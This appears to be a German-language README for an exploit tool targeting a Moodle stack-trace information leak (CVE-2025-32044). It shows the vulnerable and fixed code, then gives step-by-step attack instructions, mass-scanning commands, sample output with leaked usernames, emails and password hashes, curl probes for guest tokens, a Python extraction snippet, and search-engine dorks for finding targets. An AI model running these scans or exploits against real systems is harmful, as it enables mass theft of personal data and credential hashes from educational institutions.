CVE-2025-32044

// lib/classes/router/response/exception_response.php (VOR dem Fix)
protected static function get_payload_data(...): array {
    $data = [
        'message' => $exception->getMessage(),
        'stacktrace' => $exception->getTrace(),  // ← enthält 'args'!
    ];
    return $data;
}

// lib/classes/router/response/exception_response.php (NACH dem Fix)
'stacktrace' => array_map(
    fn ($frame): array => array_filter(
        $frame, fn ($key) => $key !== 'args', ARRAY_FILTER_USE_KEY
    ),
    $exception->getTrace(),
),

ini_set('zend.exception_ignore_args', '1');

1. Ziel: Moodle 4.5.0-4.5.2 ohne zend.exception_ignore_args
2. Fehlerhafte Anfrage an /webservice/rest/server.php senden
   (z. B. core_user_get_users_by_field mit fehlenden erforderlichen Parametern)
3. Interne Exception während der Benutzerdatenverarbeitung ausgelöst
4. API-Fehlerantwort enthält Stack Trace mit 'args'
5. Args nach Benutzernamen, E-Mails, Hashes durchsuchen

git clone https://github.com/shinthink/CVE-2025-32044.git
cd CVE-2025-32044
pip install -r requirements.txt

# Einzelziel-Scan
python cve_2025_32044.py -t moodle.target.com

# Massen-Scan
python cve_2025_32044.py -f moodle-targets.txt -o leaks.txt

# Massen-Scan mit mehr Threads
python cve_2025_32044.py -f moodle-targets.txt --threads 50 -o leaks.txt

# Debug-Modus
python cve_2025_32044.py -t moodle.target.com --debug -v

  -t, --target      Einzelziel (Domain oder IP)
  -f, --file        Zielliste (eine pro Zeile)
  -o, --output      Preisgegebene Benutzerdaten in Datei speichern
  --threads         Gleichzeitige Arbeiter (Standard: 30)
  --timeout         Anfrage-Timeout in Sekunden (Standard: 10)
  --debug           Jede HTTP-Anfrage anzeigen
  -v, --verbose     Ausführliche Ausgabe

$ python cve_2025_32044.py -t moodle-target.com

  Moodle Stack Trace Leak | CVE-2025-32044 | CVSS 7.5

  Host       : moodle-target.com
  Moodle     : JA v4.5.1
  WS Aktiviert: JA
  Token      : erhalten (admin)

  ═══ DATEN PREISGEGEBEN ═══
    admin                | [email protected]
    jsmith               | [email protected]
    mjones               | [email protected]
  E-Mails: 3
  Hashes: 3
    $2y$10$abc123def456ghi789jkl012mno345pqr678stu901vwx234yz...
  Zeit       : 3.2s

  Moodle Stack Trace Leak | CVE-2025-32044 | CVSS 7.5
  Ziele: 500  |  Threads: 30  |  Modus: RUHIG

  [LEAK] moodle-vuln-01.ac.id          benutzer=15 emails=12 hashes=15
  [WS]   moodle-patched-02.edu         token=admin
  [!]    moodle-no-ws-03.org
  [150/500] 30% | Erk:87 WS:32 Tok:8 Leak:5

  ───────────────────────────────────────────────────────
  Fertig | 320s | Ziele:500 Moodle:87 WS:32 Token:8 Preisgegeben:5

# Prüfen, ob Moodle
curl -sk 'https://target.com/login/index.php' | grep -i moodle

# Webdienste prüfen
curl -sk 'https://target.com/login/token.php?username=guest&password=guest&service=moodle_mobile_app'
# {"token":"abc..."} = WS aktiviert + möglicherweise Gastzugang
# {"error":"Web services must be enabled..."} = WS deaktiviert

curl -sk 'https://target.com/login/token.php?username=BENUTZER&password=PASSWORT&service=moodle_mobile_app'

curl -sk 'https://target.com/webservice/rest/server.php?wsfunction=core_user_get_users_by_field&moodlewsrestformat=json&field=id'
# Antwort enthält stacktrace mit args, wenn verwundbar

import json, requests
r = requests.get('https://target.com/webservice/rest/server.php', params={
    'wsfunction': 'core_user_get_users_by_field',
    'moodlewsrestformat': 'json',
    'field': 'id'
})
data = r.json()
for frame in data.get('stacktrace', []):
    for arg in frame.get('args', []):
        if isinstance(arg, dict) and 'username' in arg:
            print(f"Benutzer: {arg['username']} | {arg.get('email')} | {arg.get('fullname')}")

FOFA:   body="moodle" && body="login/token.php"
Shodan: http.title:"Moodle" http.component:"Moodle"
Google: intitle:"Moodle" inurl:"login/token.php"